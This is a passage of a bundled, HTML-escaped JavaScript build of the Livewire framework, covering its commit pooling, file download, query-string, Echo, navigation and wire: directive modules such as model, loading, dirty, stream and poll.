    return undo;
  }
  function markReadOnly(el) {
    let undo = el.readOnly ? () =&gt; {
    } : () =&gt; el.readOnly = false;
    el.readOnly = true;
    return undo;
  }

  // js/features/supportPropsAndModelables.js
  on2(&quot;commit.pooling&quot;, ({ commits }) =&gt; {
    commits.forEach((commit) =&gt; {
      let component = commit.component;
      getDeepChildrenWithBindings(component, (child) =&gt; {
        child.$wire.$commit();
      });
    });
  });
  on2(&quot;commit.pooled&quot;, ({ pools }) =&gt; {
    let commits = getPooledCommits(pools);
    commits.forEach((commit) =&gt; {
      let component = commit.component;
      getDeepChildrenWithBindings(component, (child) =&gt; {
        colocateCommitsByComponent(pools, component, child);
      });
    });
  });
  function getPooledCommits(pools) {
    let commits = [];
    pools.forEach((pool) =&gt; {
      pool.commits.forEach((commit) =&gt; {
        commits.push(commit);
      });
    });
    return commits;
  }
  function colocateCommitsByComponent(pools, component, foreignComponent) {
    let pool = findPoolWithComponent(pools, component);
    let foreignPool = findPoolWithComponent(pools, foreignComponent);
    let foreignCommit = foreignPool.findCommitByComponent(foreignComponent);
    foreignPool.delete(foreignCommit);
    pool.add(foreignCommit);
    pools.forEach((pool2) =&gt; {
      if (pool2.empty())
        pools.delete(pool2);
    });
  }
  function findPoolWithComponent(pools, component) {
    for (let [idx, pool] of pools.entries()) {
      if (pool.hasCommitFor(component))
        return pool;
    }
  }
  function getDeepChildrenWithBindings(component, callback) {
    getDeepChildren(component, (child) =&gt; {
      if (hasReactiveProps(child) || hasWireModelableBindings(child)) {
        callback(child);
      }
    });
  }
  function hasReactiveProps(component) {
    let meta = component.snapshot.memo;
    let props = meta.props;
    return !!props;
  }
  function hasWireModelableBindings(component) {
    let meta = component.snapshot.memo;
    let bindings = meta.bindings;
    return !!bindings;
  }
  function getDeepChildren(component, callback) {
    component.children.forEach((child) =&gt; {
      callback(child);
      getDeepChildren(child, callback);
    });
  }

  // js/features/supportFileDownloads.js
  on2(&quot;commit&quot;, ({ succeed }) =&gt; {
    succeed(({ effects }) =&gt; {
      let download = effects.download;
      if (!download)
        return;
      let urlObject = window.webkitURL || window.URL;
      let url = urlObject.createObjectURL(base64toBlob(download.content, download.contentType));
      let invisibleLink = document.createElement(&quot;a&quot;);
      invisibleLink.style.display = &quot;none&quot;;
      invisibleLink.href = url;
      invisibleLink.download = download.name;
      document.body.appendChild(invisibleLink);
      invisibleLink.click();
      setTimeout(function() {
        urlObject.revokeObjectURL(url);
      }, 0);
    });
  });
  function base64toBlob(b64Data, contentType = &quot;&quot;, sliceSize = 512) {
    const byteCharacters = atob(b64Data);
    const byteArrays = [];
    if (contentType === null)
      contentType = &quot;&quot;;
    for (let offset2 = 0; offset2 &lt; byteCharacters.length; offset2 += sliceSize) {
      let slice = byteCharacters.slice(offset2, offset2 + sliceSize);
      let byteNumbers = new Array(slice.length);
      for (let i = 0; i &lt; slice.length; i++) {
        byteNumbers[i] = slice.charCodeAt(i);
      }
      let byteArray = new Uint8Array(byteNumbers);
      byteArrays.push(byteArray);
    }
    return new Blob(byteArrays, { type: contentType });
  }

  // js/features/supportLazyLoading.js
  var componentsThatWantToBeBundled = /* @__PURE__ */ new WeakSet();
  var componentsThatAreLazy = /* @__PURE__ */ new WeakSet();
  on2(&quot;component.init&quot;, ({ component }) =&gt; {
    let memo = component.snapshot.memo;
    if (memo.lazyLoaded === void 0)
      return;
    componentsThatAreLazy.add(component);
    if (memo.lazyIsolated !== void 0 &amp;&amp; memo.lazyIsolated === false) {
      componentsThatWantToBeBundled.add(component);
    }
  });
  on2(&quot;commit.pooling&quot;, ({ commits }) =&gt; {
    commits.forEach((commit) =&gt; {
      if (!componentsThatAreLazy.has(commit.component))
        return;
      if (componentsThatWantToBeBundled.has(commit.component)) {
        commit.isolate = false;
        componentsThatWantToBeBundled.delete(commit.component);
      } else {
        commit.isolate = true;
      }
      componentsThatAreLazy.delete(commit.component);
    });
  });

  // js/features/supportQueryString.js
  on2(&quot;effect&quot;, ({ component, effects, cleanup: cleanup2 }) =&gt; {
    let queryString = effects[&quot;url&quot;];
    if (!queryString)
      return;
    Object.entries(queryString).forEach(([key, value]) =&gt; {
      let { name, as, use, alwaysShow, except } = normalizeQueryStringEntry(key, value);
      if (!as)
        as = name;
      let initialValue = [false, null, void 0].includes(except) ? dataGet(component.ephemeral, name) : except;
      let { replace: replace2, push: push2, pop } = track2(as, initialValue, alwaysShow, except);
      if (use === &quot;replace&quot;) {
        let effectReference = module_default.effect(() =&gt; {
          replace2(dataGet(component.reactive, name));
        });
        cleanup2(() =&gt; module_default.release(effectReference));
      } else if (use === &quot;push&quot;) {
        let forgetCommitHandler = on2(&quot;commit&quot;, ({ component: commitComponent, succeed }) =&gt; {
          if (component !== commitComponent)
            return;
          let beforeValue = dataGet(component.canonical, name);
          succeed(() =&gt; {
            let afterValue = dataGet(component.canonical, name);
            if (JSON.stringify(beforeValue) === JSON.stringify(afterValue))
              return;
            push2(afterValue);
          });
        });
        let forgetPopHandler = pop(async (newValue) =&gt; {
          await component.$wire.set(name, newValue);
          document.querySelectorAll(&quot;input&quot;).forEach((el) =&gt; {
            el._x_forceModelUpdate &amp;&amp; el._x_forceModelUpdate(el._x_model.get());
          });
        });
        cleanup2(() =&gt; {
          forgetCommitHandler();
          forgetPopHandler();
        });
      }
    });
  });
  function normalizeQueryStringEntry(key, value) {
    let defaults = { use: &quot;replace&quot;, alwaysShow: false };
    if (typeof value === &quot;string&quot;) {
      return { ...defaults, name: value, as: value };
    } else {
      let fullerDefaults = { ...defaults, name: key, as: key };
      return { ...fullerDefaults, ...value };
    }
  }

  // js/features/supportLaravelEcho.js
  on2(&quot;request&quot;, ({ options }) =&gt; {
    if (window.Echo) {
      options.headers[&quot;X-Socket-ID&quot;] = window.Echo.socketId();
    }
  });
  on2(&quot;effect&quot;, ({ component, effects }) =&gt; {
    let listeners2 = effects.listeners || [];
    listeners2.forEach((event) =&gt; {
      if (event.startsWith(&quot;echo&quot;)) {
        if (typeof window.Echo === &quot;undefined&quot;) {
          console.warn(&quot;Laravel Echo cannot be found&quot;);
          return;
        }
        let event_parts = event.split(/(echo:|echo-)|:|,/);
        if (event_parts[1] == &quot;echo:&quot;) {
          event_parts.splice(2, 0, &quot;channel&quot;, void 0);
        }
        if (event_parts[2] == &quot;notification&quot;) {
          event_parts.push(void 0, void 0);
        }
        let [
          s1,
          signature,
          channel_type,
          s2,
          channel,
          s3,
          event_name
        ] = event_parts;
        if ([&quot;channel&quot;, &quot;private&quot;, &quot;encryptedPrivate&quot;].includes(channel_type)) {
          let handler4 = (e) =&gt; dispatchSelf(component, event, [e]);
          window.Echo[channel_type](channel).listen(event_name, handler4);
          component.addCleanup(() =&gt; {
            window.Echo[channel_type](channel).stopListening(event_name, handler4);
          });
        } else if (channel_type == &quot;presence&quot;) {
          if ([&quot;here&quot;, &quot;joining&quot;, &quot;leaving&quot;].includes(event_name)) {
            window.Echo.join(channel)[event_name]((e) =&gt; {
              dispatchSelf(component, event, [e]);
            });
          } else {
            let handler4 = (e) =&gt; dispatchSelf(component, event, [e]);
            window.Echo.join(channel).listen(event_name, handler4);
            component.addCleanup(() =&gt; {
              window.Echo.leaveChannel(channel);
            });
          }
        } else if (channel_type == &quot;notification&quot;) {
          window.Echo.private(channel).notification((notification) =&gt; {
            dispatchSelf(component, event, [notification]);
          });
        } else {
          console.warn(&quot;Echo channel type not yet supported&quot;);
        }
      }
    });
  });

  // js/features/supportIsolating.js
  var componentsThatAreIsolated = /* @__PURE__ */ new WeakSet();
  on2(&quot;component.init&quot;, ({ component }) =&gt; {
    let memo = component.snapshot.memo;
    if (memo.isolate !== true)
      return;
    componentsThatAreIsolated.add(component);
  });
  on2(&quot;commit.pooling&quot;, ({ commits }) =&gt; {
    commits.forEach((commit) =&gt; {
      if (!componentsThatAreIsolated.has(commit.component))
        return;
      commit.isolate = true;
    });
  });

  // js/features/supportNavigate.js
  shouldHideProgressBar() &amp;&amp; Alpine.navigate.disableProgressBar();
  document.addEventListener(&quot;alpine:navigate&quot;, (e) =&gt; forwardEvent(&quot;livewire:navigate&quot;, e));
  document.addEventListener(&quot;alpine:navigating&quot;, (e) =&gt; forwardEvent(&quot;livewire:navigating&quot;, e));
  document.addEventListener(&quot;alpine:navigated&quot;, (e) =&gt; forwardEvent(&quot;livewire:navigated&quot;, e));
  function forwardEvent(name, original) {
    let event = new CustomEvent(name, { cancelable: true, bubbles: true, detail: original.detail });
    document.dispatchEvent(event);
    if (event.defaultPrevented) {
      original.preventDefault();
    }
  }
  function shouldRedirectUsingNavigateOr(effects, url, or) {
    let forceNavigate = effects.redirectUsingNavigate;
    if (forceNavigate) {
      Alpine.navigate(url);
    } else {
      or();
    }
  }
  function shouldHideProgressBar() {
    if (!!document.querySelector(&quot;[data-no-progress-bar]&quot;))
      return true;
    if (window.livewireScriptConfig &amp;&amp; window.livewireScriptConfig.progressBar === false)
      return true;
    return false;
  }

  // js/features/supportRedirects.js
  on2(&quot;effect&quot;, ({ effects }) =&gt; {
    if (!effects[&quot;redirect&quot;])
      return;
    let url = effects[&quot;redirect&quot;];
    shouldRedirectUsingNavigateOr(effects, url, () =&gt; {
      window.location.href = url;
    });
  });

  // js/directives/wire-transition.js
  on2(&quot;morph.added&quot;, ({ el }) =&gt; {
    el.__addedByMorph = true;
  });
  directive2(&quot;transition&quot;, ({ el, directive: directive3, component, cleanup: cleanup2 }) =&gt; {
    let visibility = module_default.reactive({ state: el.__addedByMorph ? false : true });
    module_default.bind(el, {
      [directive3.rawName.replace(&quot;wire:&quot;, &quot;x-&quot;)]: &quot;&quot;,
      &quot;x-show&quot;() {
        return visibility.state;
      }
    });
    el.__addedByMorph &amp;&amp; setTimeout(() =&gt; visibility.state = true);
    let cleanups2 = [];
    cleanups2.push(on2(&quot;morph.removing&quot;, ({ el: el2, skip }) =&gt; {
      skip();
      el2.addEventListener(&quot;transitionend&quot;, () =&gt; {
        el2.remove();
      });
      visibility.state = false;
      cleanups2.push(on2(&quot;morph&quot;, ({ component: morphComponent }) =&gt; {
        if (morphComponent !== component)
          return;
        el2.remove();
        cleanups2.forEach((i) =&gt; i());
      }));
    }));
    cleanup2(() =&gt; cleanups2.forEach((i) =&gt; i()));
  });

  // js/debounce.js
  var callbacksByComponent = new WeakBag();
  function callAndClearComponentDebounces(component, callback) {
    callbacksByComponent.each(component, (callbackRegister) =&gt; {
      callbackRegister.callback();
      callbackRegister.callback = () =&gt; {
      };
    });
    callback();
  }

  // js/directives/wire-wildcard.js
  on2(&quot;directive.init&quot;, ({ el, directive: directive3, cleanup: cleanup2, component }) =&gt; {
    if ([&quot;snapshot&quot;, &quot;effects&quot;, &quot;model&quot;, &quot;init&quot;, &quot;loading&quot;, &quot;poll&quot;, &quot;ignore&quot;, &quot;id&quot;, &quot;data&quot;, &quot;key&quot;, &quot;target&quot;, &quot;dirty&quot;].includes(directive3.value))
      return;
    if (customDirectiveHasBeenRegistered(directive3.value))
      return;
    let attribute = directive3.rawName.replace(&quot;wire:&quot;, &quot;x-on:&quot;);
    if (directive3.value === &quot;submit&quot; &amp;&amp; !directive3.modifiers.includes(&quot;prevent&quot;)) {
      attribute = attribute + &quot;.prevent&quot;;
    }
    let cleanupBinding = module_default.bind(el, {
      [attribute](e) {
        let execute = () =&gt; {
          callAndClearComponentDebounces(component, () =&gt; {
            module_default.evaluate(el, &quot;$wire.&quot; + directive3.expression, { scope: { $event: e } });
          });
        };
        if (el.__livewire_confirm) {
          el.__livewire_confirm(() =&gt; {
            execute();
          }, () =&gt; {
            e.stopImmediatePropagation();
          });
        } else {
          execute();
        }
      }
    });
    cleanup2(cleanupBinding);
  });

  // js/directives/wire-navigate.js
  module_default.addInitSelector(() =&gt; `[wire\\:navigate]`);
  module_default.addInitSelector(() =&gt; `[wire\\:navigate\\.hover]`);
  module_default.interceptInit(module_default.skipDuringClone((el) =&gt; {
    if (el.hasAttribute(&quot;wire:navigate&quot;)) {
      module_default.bind(el, { [&quot;x-navigate&quot;]: true });
    } else if (el.hasAttribute(&quot;wire:navigate.hover&quot;)) {
      module_default.bind(el, { [&quot;x-navigate.hover&quot;]: true });
    }
  }));
  document.addEventListener(&quot;alpine:navigating&quot;, () =&gt; {
    Livewire.all().forEach((component) =&gt; {
      component.inscribeSnapshotAndEffectsOnElement();
    });
  });

  // js/directives/wire-confirm.js
  directive2(&quot;confirm&quot;, ({ el, directive: directive3 }) =&gt; {
    let message = directive3.expression;
    let shouldPrompt = directive3.modifiers.includes(&quot;prompt&quot;);
    message = message.replaceAll(&quot;\\n&quot;, &quot;\n&quot;);
    if (message === &quot;&quot;)
      message = &quot;Are you sure?&quot;;
    el.__livewire_confirm = (action, instead) =&gt; {
      if (shouldPrompt) {
        let [question, expected] = message.split(&quot;|&quot;);
        if (!expected) {
          console.warn(&quot;Livewire: Must provide expectation with wire:confirm.prompt&quot;);
        } else {
          let input = prompt(question);
          if (input === expected) {
            action();
          } else {
            instead();
          }
        }
      } else {
        if (confirm(message))
          action();
        else
          instead();
      }
    };
  });

  // js/directives/wire-current.js
  module_default.addInitSelector(() =&gt; `[wire\\:current]`);
  var onPageChanges = /* @__PURE__ */ new Map();
  document.addEventListener(&quot;livewire:navigated&quot;, () =&gt; {
    onPageChanges.forEach((i) =&gt; i(new URL(window.location.href)));
  });
  globalDirective(&quot;current&quot;, ({ el, directive: directive3, cleanup: cleanup2 }) =&gt; {
    let expression = directive3.expression;
    let options = {
      exact: directive3.modifiers.includes(&quot;exact&quot;),
      strict: directive3.modifiers.includes(&quot;strict&quot;)
    };
    if (expression.startsWith(&quot;#&quot;))
      return;
    if (!el.hasAttribute(&quot;href&quot;))
      return;
    let href = el.getAttribute(&quot;href&quot;);
    let hrefUrl = new URL(href, window.location.href);
    let classes = expression.split(&quot; &quot;).filter(String);
    let refreshCurrent = (url) =&gt; {
      if (pathMatches(hrefUrl, url, options)) {
        el.classList.add(...classes);
      } else {
        el.classList.remove(...classes);
      }
    };
    refreshCurrent(new URL(window.location.href));
    onPageChanges.set(el, refreshCurrent);
    cleanup2(() =&gt; onPageChanges.delete(el));
  });
  function pathMatches(hrefUrl, actualUrl, options) {
    if (hrefUrl.hostname !== actualUrl.hostname)
      return false;
    let hrefPath = options.strict ? hrefUrl.pathname : hrefUrl.pathname.replace(/\/+$/, &quot;&quot;);
    let actualPath = options.strict ? actualUrl.pathname : actualUrl.pathname.replace(/\/+$/, &quot;&quot;);
    if (options.exact) {
      return hrefPath === actualPath;
    }
    let hrefPathSegments = hrefPath.split(&quot;/&quot;);
    let actualPathSegments = actualPath.split(&quot;/&quot;);
    for (let i = 0; i &lt; hrefPathSegments.length; i++) {
      if (hrefPathSegments[i] !== actualPathSegments[i])
        return false;
    }
    return true;
  }

  // js/directives/shared.js
  function toggleBooleanStateDirective(el, directive3, isTruthy, cachedDisplay = null) {
    isTruthy = directive3.modifiers.includes(&quot;remove&quot;) ? !isTruthy : isTruthy;
    if (directive3.modifiers.includes(&quot;class&quot;)) {
      let classes = directive3.expression.split(&quot; &quot;).filter(String);
      if (isTruthy) {
        el.classList.add(...classes);
      } else {
        el.classList.remove(...classes);
      }
    } else if (directive3.modifiers.includes(&quot;attr&quot;)) {
      if (isTruthy) {
        el.setAttribute(directive3.expression, true);
      } else {
        el.removeAttribute(directive3.expression);
      }
    } else {
      let cache = cachedDisplay ?? window.getComputedStyle(el, null).getPropertyValue(&quot;display&quot;);
      let display = [&quot;inline&quot;, &quot;block&quot;, &quot;table&quot;, &quot;flex&quot;, &quot;grid&quot;, &quot;inline-flex&quot;].filter((i) =&gt; directive3.modifiers.includes(i))[0] || &quot;inline-block&quot;;
      display = directive3.modifiers.includes(&quot;remove&quot;) &amp;&amp; !isTruthy ? cache : display;
      el.style.display = isTruthy ? display : &quot;none&quot;;
    }
  }

  // js/directives/wire-offline.js
  var offlineHandlers = /* @__PURE__ */ new Set();
  var onlineHandlers = /* @__PURE__ */ new Set();
  window.addEventListener(&quot;offline&quot;, () =&gt; offlineHandlers.forEach((i) =&gt; i()));
  window.addEventListener(&quot;online&quot;, () =&gt; onlineHandlers.forEach((i) =&gt; i()));
  directive2(&quot;offline&quot;, ({ el, directive: directive3, cleanup: cleanup2 }) =&gt; {
    let setOffline = () =&gt; toggleBooleanStateDirective(el, directive3, true);
    let setOnline = () =&gt; toggleBooleanStateDirective(el, directive3, false);
    offlineHandlers.add(setOffline);
    onlineHandlers.add(setOnline);
    cleanup2(() =&gt; {
      offlineHandlers.delete(setOffline);
      onlineHandlers.delete(setOnline);
    });
  });

  // js/directives/wire-loading.js
  directive2(&quot;loading&quot;, ({ el, directive: directive3, component, cleanup: cleanup2 }) =&gt; {
    let { targets, inverted } = getTargets(el);
    let [delay3, abortDelay] = applyDelay(directive3);
    let cleanupA = whenTargetsArePartOfRequest(component, targets, inverted, [
      () =&gt; delay3(() =&gt; toggleBooleanStateDirective(el, directive3, true)),
      () =&gt; abortDelay(() =&gt; toggleBooleanStateDirective(el, directive3, false))
    ]);
    let cleanupB = whenTargetsArePartOfFileUpload(component, targets, [
      () =&gt; delay3(() =&gt; toggleBooleanStateDirective(el, directive3, true)),
      () =&gt; abortDelay(() =&gt; toggleBooleanStateDirective(el, directive3, false))
    ]);
    cleanup2(() =&gt; {
      cleanupA();
      cleanupB();
    });
  });
  function applyDelay(directive3) {
    if (!directive3.modifiers.includes(&quot;delay&quot;) || directive3.modifiers.includes(&quot;none&quot;))
      return [(i) =&gt; i(), (i) =&gt; i()];
    let duration = 200;
    let delayModifiers = {
      &quot;shortest&quot;: 50,
      &quot;shorter&quot;: 100,
      &quot;short&quot;: 150,
      &quot;default&quot;: 200,
      &quot;long&quot;: 300,
      &quot;longer&quot;: 500,
      &quot;longest&quot;: 1e3
    };
    Object.keys(delayModifiers).some((key) =&gt; {
      if (directive3.modifiers.includes(key)) {
        duration = delayModifiers[key];
        return true;
      }
    });
    let timeout;
    let started2 = false;
    return [
      (callback) =&gt; {
        timeout = setTimeout(() =&gt; {
          callback();
          started2 = true;
        }, duration);
      },
      async (callback) =&gt; {
        if (started2) {
          await callback();
          started2 = false;
        } else {
          clearTimeout(timeout);
        }
      }
    ];
  }
  function whenTargetsArePartOfRequest(component, targets, inverted, [startLoading, endLoading]) {
    return on2(&quot;commit&quot;, ({ component: iComponent, commit: payload, respond }) =&gt; {
      if (iComponent !== component)
        return;
      if (targets.length &gt; 0 &amp;&amp; containsTargets(payload, targets) === inverted)
        return;
      startLoading();
      respond(() =&gt; {
        endLoading();
      });
    });
  }
  function whenTargetsArePartOfFileUpload(component, targets, [startLoading, endLoading]) {
    let eventMismatch = (e) =&gt; {
      let { id, property } = e.detail;
      if (id !== component.id)
        return true;
      if (targets.length &gt; 0 &amp;&amp; !targets.map((i) =&gt; i.target).includes(property))
        return true;
      return false;
    };
    let cleanupA = listen(window, &quot;livewire-upload-start&quot;, (e) =&gt; {
      if (eventMismatch(e))
        return;
      startLoading();
    });
    let cleanupB = listen(window, &quot;livewire-upload-finish&quot;, (e) =&gt; {
      if (eventMismatch(e))
        return;
      endLoading();
    });
    let cleanupC = listen(window, &quot;livewire-upload-error&quot;, (e) =&gt; {
      if (eventMismatch(e))
        return;
      endLoading();
    });
    return () =&gt; {
      cleanupA();
      cleanupB();
      cleanupC();
    };
  }
  function containsTargets(payload, targets) {
    let { updates, calls } = payload;
    return targets.some(({ target, params }) =&gt; {
      if (params) {
        return calls.some(({ method, params: methodParams }) =&gt; {
          return target === method &amp;&amp; params === quickHash(JSON.stringify(methodParams));
        });
      }
      let hasMatchingUpdate = Object.keys(updates).some((property) =&gt; {
        if (property.includes(&quot;.&quot;)) {
          let propertyRoot = property.split(&quot;.&quot;)[0];
          if (propertyRoot === target)
            return true;
        }
        return property === target;
      });
      if (hasMatchingUpdate)
        return true;
      if (calls.map((i) =&gt; i.method).includes(target))
        return true;
    });
  }
  function getTargets(el) {
    let directives2 = getDirectives(el);
    let targets = [];
    let inverted = false;
    if (directives2.has(&quot;target&quot;)) {
      let directive3 = directives2.get(&quot;target&quot;);
      let raw2 = directive3.expression;
      if (directive3.modifiers.includes(&quot;except&quot;))
        inverted = true;
      if (raw2.includes(&quot;(&quot;) &amp;&amp; raw2.includes(&quot;)&quot;)) {
        targets.push({ target: directive3.method, params: quickHash(JSON.stringify(directive3.params)) });
      } else if (raw2.includes(&quot;,&quot;)) {
        raw2.split(&quot;,&quot;).map((i) =&gt; i.trim()).forEach((target) =&gt; {
          targets.push({ target });
        });
      } else {
        targets.push({ target: raw2 });
      }
    } else {
      let nonActionOrModelLivewireDirectives = [&quot;init&quot;, &quot;dirty&quot;, &quot;offline&quot;, &quot;target&quot;, &quot;loading&quot;, &quot;poll&quot;, &quot;ignore&quot;, &quot;key&quot;, &quot;id&quot;];
      directives2.all().filter((i) =&gt; !nonActionOrModelLivewireDirectives.includes(i.value)).map((i) =&gt; i.expression.split(&quot;(&quot;)[0]).forEach((target) =&gt; targets.push({ target }));
    }
    return { targets, inverted };
  }
  function quickHash(subject) {
    return btoa(encodeURIComponent(subject));
  }

  // js/directives/wire-stream.js
  directive2(&quot;stream&quot;, ({ el, directive: directive3, cleanup: cleanup2 }) =&gt; {
    let { expression, modifiers } = directive3;
    let off = on2(&quot;stream&quot;, ({ name, content, replace: replace2 }) =&gt; {
      if (name !== expression)
        return;
      if (modifiers.includes(&quot;replace&quot;) || replace2) {
        el.innerHTML = content;
      } else {
        el.innerHTML = el.innerHTML + content;
      }
    });
    cleanup2(off);
  });
  on2(&quot;request&quot;, ({ respond }) =&gt; {
    respond((mutableObject) =&gt; {
      let response = mutableObject.response;
      if (!response.headers.has(&quot;X-Livewire-Stream&quot;))
        return;
      mutableObject.response = {
        ok: true,
        redirected: false,
        status: 200,
        async text() {
          let finalResponse = await interceptStreamAndReturnFinalResponse(response, (streamed) =&gt; {
            trigger2(&quot;stream&quot;, streamed);
          });
          if (contentIsFromDump(finalResponse)) {
            this.ok = false;
          }
          return finalResponse;
        }
      };
    });
  });
  async function interceptStreamAndReturnFinalResponse(response, callback) {
    let reader = response.body.getReader();
    let remainingResponse = &quot;&quot;;
    while (true) {
      let { done, value: chunk } = await reader.read();
      let decoder = new TextDecoder();
      let output = decoder.decode(chunk);
      let [streams, remaining] = extractStreamObjects(remainingResponse + output);
      streams.forEach((stream) =&gt; {
        callback(stream);
      });
      remainingResponse = remaining;
      if (done)
        return remainingResponse;
    }
  }
  function extractStreamObjects(raw2) {
    let regex = /({&quot;stream&quot;:true.*?&quot;endStream&quot;:true})/g;
    let matches2 = raw2.match(regex);
    let parsed = [];
    if (matches2) {
      for (let i = 0; i &lt; matches2.length; i++) {
        parsed.push(JSON.parse(matches2[i]).body);
      }
    }
    let remaining = raw2.replace(regex, &quot;&quot;);
    return [parsed, remaining];
  }

  // js/directives/wire-replace.js
  directive2(&quot;replace&quot;, ({ el, directive: directive3 }) =&gt; {
    if (directive3.modifiers.includes(&quot;self&quot;)) {
      el.__livewire_replace_self = true;
    } else {
      el.__livewire_replace = true;
    }
  });

  // js/directives/wire-ignore.js
  directive2(&quot;ignore&quot;, ({ el, directive: directive3 }) =&gt; {
    if (directive3.modifiers.includes(&quot;self&quot;)) {
      el.__livewire_ignore_self = true;
    } else {
      el.__livewire_ignore = true;
    }
  });

  // js/directives/wire-dirty.js
  var refreshDirtyStatesByComponent = new WeakBag();
  on2(&quot;commit&quot;, ({ component, succeed }) =&gt; {
    succeed(() =&gt; {
      setTimeout(() =&gt; {
        refreshDirtyStatesByComponent.each(component, (i) =&gt; i(false));
      });
    });
  });
  directive2(&quot;dirty&quot;, ({ el, directive: directive3, component }) =&gt; {
    let targets = dirtyTargets(el);
    let dirty = Alpine.reactive({ state: false });
    let oldIsDirty = false;
    let initialDisplay = el.style.display;
    let refreshDirtyState = (isDirty) =&gt; {
      toggleBooleanStateDirective(el, directive3, isDirty, initialDisplay);
      oldIsDirty = isDirty;
    };
    refreshDirtyStatesByComponent.add(component, refreshDirtyState);
    Alpine.effect(() =&gt; {
      let isDirty = false;
      if (targets.length === 0) {
        isDirty = JSON.stringify(component.canonical) !== JSON.stringify(component.reactive);
      } else {
        for (let i = 0; i &lt; targets.length; i++) {
          if (isDirty)
            break;
          let target = targets[i];
          isDirty = JSON.stringify(dataGet(component.canonical, target)) !== JSON.stringify(dataGet(component.reactive, target));
        }
      }
      if (oldIsDirty !== isDirty) {
        refreshDirtyState(isDirty);
      }
      oldIsDirty = isDirty;
    });
  });
  function dirtyTargets(el) {
    let directives2 = getDirectives(el);
    let targets = [];
    if (directives2.has(&quot;model&quot;)) {
      targets.push(directives2.get(&quot;model&quot;).expression);
    }
    if (directives2.has(&quot;target&quot;)) {
      targets = targets.concat(directives2.get(&quot;target&quot;).expression.split(&quot;,&quot;).map((s) =&gt; s.trim()));
    }
    return targets;
  }

  // js/directives/wire-model.js
  directive2(&quot;model&quot;, ({ el, directive: directive3, component, cleanup: cleanup2 }) =&gt; {
    let { expression, modifiers } = directive3;
    if (!expression) {
      return console.warn(&quot;Livewire: [wire:model] is missing a value.&quot;, el);
    }
    if (componentIsMissingProperty(component, expression)) {
      return console.warn(&#039;Livewire: [wire:model=&quot;&#039; + expression + &#039;&quot;] property does not exist on component: [&#039; + component.name + &quot;]&quot;, el);
    }
    if (el.type &amp;&amp; el.type.toLowerCase() === &quot;file&quot;) {
      return handleFileUpload(el, expression, component, cleanup2);
    }
    let isLive = modifiers.includes(&quot;live&quot;);
    let isLazy = modifiers.includes(&quot;lazy&quot;) || modifiers.includes(&quot;change&quot;);
    let onBlur = modifiers.includes(&quot;blur&quot;);
    let isDebounced = modifiers.includes(&quot;debounce&quot;);
    let update = expression.startsWith(&quot;$parent&quot;) ? () =&gt; component.$wire.$parent.$commit() : () =&gt; component.$wire.$commit();
    let debouncedUpdate = isTextInput(el) &amp;&amp; !isDebounced &amp;&amp; isLive ? debounce2(update, 150) : update;
    module_default.bind(el, {
      [&quot;@change&quot;]() {
        isLazy &amp;&amp; update();
      },
      [&quot;@blur&quot;]() {
        onBlur &amp;&amp; update();
      },
      [&quot;x-model&quot; + getModifierTail(modifiers)]() {
        return {
          get() {
            return dataGet(component.$wire, expression);
          },
          set(value) {
            dataSet(component.$wire, expression, value);
            isLive &amp;&amp; !isLazy &amp;&amp; !onBlur &amp;&amp; debouncedUpdate();
          }
        };
      }
    });
  });
  function getModifierTail(modifiers) {
    modifiers = modifiers.filter((i) =&gt; ![
      &quot;lazy&quot;,
      &quot;defer&quot;
    ].includes(i));
    if (modifiers.length === 0)
      return &quot;&quot;;
    return &quot;.&quot; + modifiers.join(&quot;.&quot;);
  }
  function isTextInput(el) {
    return [&quot;INPUT&quot;, &quot;TEXTAREA&quot;].includes(el.tagName.toUpperCase()) &amp;&amp; ![&quot;checkbox&quot;, &quot;radio&quot;].includes(el.type);
  }
  function componentIsMissingProperty(component, property) {
    if (property.startsWith(&quot;$parent&quot;)) {
      let parent = closestComponent(component.el.parentElement, false);
      if (!parent)
        return true;
      return componentIsMissingProperty(parent, property.split(&quot;$parent.&quot;)[1]);
    }
    let baseProperty = property.split(&quot;.&quot;)[0];
    return !Object.keys(component.canonical).includes(baseProperty);
  }
  function debounce2(func, wait) {
    var timeout;
    return function() {
      var context = this, args = arguments;
      var later = function() {
        timeout = null;
        func.apply(context, args);
      };
      clearTimeout(timeout);
      timeout = setTimeout(later, wait);
    };
  }

  // js/directives/wire-init.js
  directive2(&quot;init&quot;, ({ el, directive: directive3 }) =&gt; {
    let fullMethod = directive3.expression ?? &quot;$refresh&quot;;
    module_default.evaluate(el, `$wire.${fullMethod}`);
  });

  // js/directives/wire-poll.js
  directive2(&quot;poll&quot;, ({ el, directive: directive3 }) =&gt; {
    let interval = extractDurationFrom(directive3.modifiers, 2e3);
    let { start: start3, pauseWhile, throttleWhile, stopWhen } = poll(() =&gt; {
      triggerComponentRequest(el, directive3);
    }, interval);
    start3();
    throttleWhile(() =&gt; theTabIsInTheBackground() &amp;&amp; theDirectiveIsMissingKeepAlive(directive3));
    pauseWhile(() =&gt; theDirectiveHasVisible(directive3) &amp;&amp; theElementIsNotInTheViewport(el));
    pauseWhile(() =&gt; theDirectiveIsOffTheElement(el));
    pauseWhile(() =&gt; livewireIsOffline());
    stopWhen(() =&gt; theElementIsDisconnected(el));
  });
  function triggerComponentRequest(el, directive3) {
    module_default.evaluate(el, directive3.expression ? &quot;$wire.&quot; + directive3.expression : &quot;$wire.$commit()&quot;);
  }
  function poll(callback, interval = 2e3) {
    let pauseConditions = [];
    let throttleConditions = [];
    let stopConditions = [];
    return {
      start() {
        let clear2 = syncronizedInterval(interval, () =&gt; {
          if (stopConditions.some((i) =&gt; i()))
            return clear2();
          if (pauseConditions.some((i) =&gt; i()))
            return;
          if (throttleConditions.some((i) =&gt; i()) &amp;&amp; Math.random() &lt; 0.95)
            return;
          callback();
        });
      },
      pauseWhile(condition) {
        pauseConditions.push(condition);
      },
      throttleWhile(condition) {
        throttleConditions.push(condition);
      },
      stopWhen(condition) {
        stopConditions.push(condition);
      }
    };
  }
  var clocks = [];
  function syncronizedInterval(ms, callback) {
    if (!clocks[ms]) {
      let clock = {
        timer: setInterval(() =&gt; clock.callbacks.forEach((i) =&gt; i()), ms),
        callbacks: /* @__PURE__ */ new Set()
      };
      clocks[ms] = clock;
    }
    clocks[ms].callbacks.add(callback);
    return () =&gt; {
      clocks[ms].callbacks.delete(callback);
      if (clocks[ms].callbacks.size === 0) {
        clearInterval(clocks[ms].timer);
        delete clocks[ms];
      }
    };
  }
  var isOffline = false;
  window.addEventListener(&quot;offline&quot;, () =&gt; isOffline = true);
  window.addEventListener(&quot;online&quot;, () =&gt; isOffline = false);
  function livewireIsOffline() {
    return isOffline;
  }
